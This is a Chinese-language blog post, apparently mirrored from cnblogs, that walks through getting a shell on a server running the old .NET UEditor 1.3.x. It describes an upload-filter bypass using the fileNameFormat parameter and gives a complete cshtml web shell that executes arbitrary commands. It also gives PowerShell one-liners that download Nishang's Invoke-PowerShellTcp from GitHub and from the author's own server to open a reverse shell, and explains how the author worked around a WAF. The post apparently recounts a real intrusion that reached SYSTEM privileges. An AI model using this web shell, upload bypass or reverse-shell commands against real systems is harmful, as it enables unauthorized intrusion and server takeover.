zoukankan      html  css  js  c++  java
  • 低版本.net ueditor结合cshtml getshell

    ueditor版本.net 1.3.x,不是.net 1.4.3的getshell

    上传页面是这样的需要开启flash,添加照片抓包。先正常上传

    改后缀提示不允许的文件类型

    注意到fileNameFormat参数为时间戳一样的东西,改为1看看效果

    注意到文件名(不包含后缀)变为了1随之将,fileNameFormat参数下面内容改为你想上传文件的文件名(包括后缀)filename参数改为jpg

    成功上传,打开发现aspx禁止访问403

    于是尝试上传cshtml,以下是内容可执行任意命令

    @using System.CodeDom.Compiler;
    @using System.Diagnostics;
    @using System.Reflection;
    @using System.Web.Compilation;
    @functions {
    string ExecuteCommand(string command, string arguments = null)
    {
    var output = new System.Text.StringBuilder();
    var process = new Process();
    var startInfo = new ProcessStartInfo
    {
    FileName = command,
    Arguments = arguments,
    WorkingDirectory = HttpRuntime.AppDomainAppPath,
    RedirectStandardOutput = true,
    RedirectStandardError = true,
    UseShellExecute = false
    };
    process.StartInfo = startInfo;
    process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
    process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
                    process.Start();
    process.BeginOutputReadLine();
    process.BeginErrorReadLine();
    process.WaitForExit();
    return output.ToString();
    }
    }
          @{
    var cmd = ExecuteCommand("cmd.exe", "/c whoami");
            }
    Output of the injected command (killer):
    @cmd
    

    成功上传,system权限,执行systeminfo发现为win2008使用powershell反弹shell命令为

    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress xxx.240.xx.69 -port 2333
    

    上传时被waf拦截,简单测试后发现waf拦截https(有点迷我也不知道为啥)于是把ps1放在自己web服务上使用以下命令反弹shell

    powershell IEX (New-Object Net.WebClient).DownloadString('http://xxx.240.xx.69/2.ps1');Invoke-PowerShellTcp -Reverse -IPAddress xxx.240.xx.69 -port 2333
    

    成功上传但是访问文件的时候shell没弹回来,并报错。

    尝试换端口发现也一样,最后发现是我的vps是香港的这个台服务器访问不了。。。换了一台国内的vps成功收到shell,由于是一个月之前的了图没保存。

  • 相关阅读:
    Oracle 11g SQL Fundamentals Training Introduction02
    Chapter 05Reporting Aggregated data Using the Group Functions 01
    Chapter 01Restriicting Data Using The SQL SELECT Statemnt01
    Oracle 11g SQL Fundamentals Training Introduction01
    Chapter 04Using Conversion Functions and Conditional ExpressionsConditional Expressions
    Unix时代的开创者Ken Thompson (zz.is2120.bg57iv3)
    我心目中计算机软件科学最小必读书目 (zz.is2120)
    北京将评估分时分区单双号限行 推进错时上下班 (zz)
    佳能G系列领军相机G1X
    选购单反相机的新建议——心民谈宾得K5(转)
  • 原文地址:https://www.cnblogs.com/cwkiller/p/12087890.html
Copyright © 2011-2022 走看看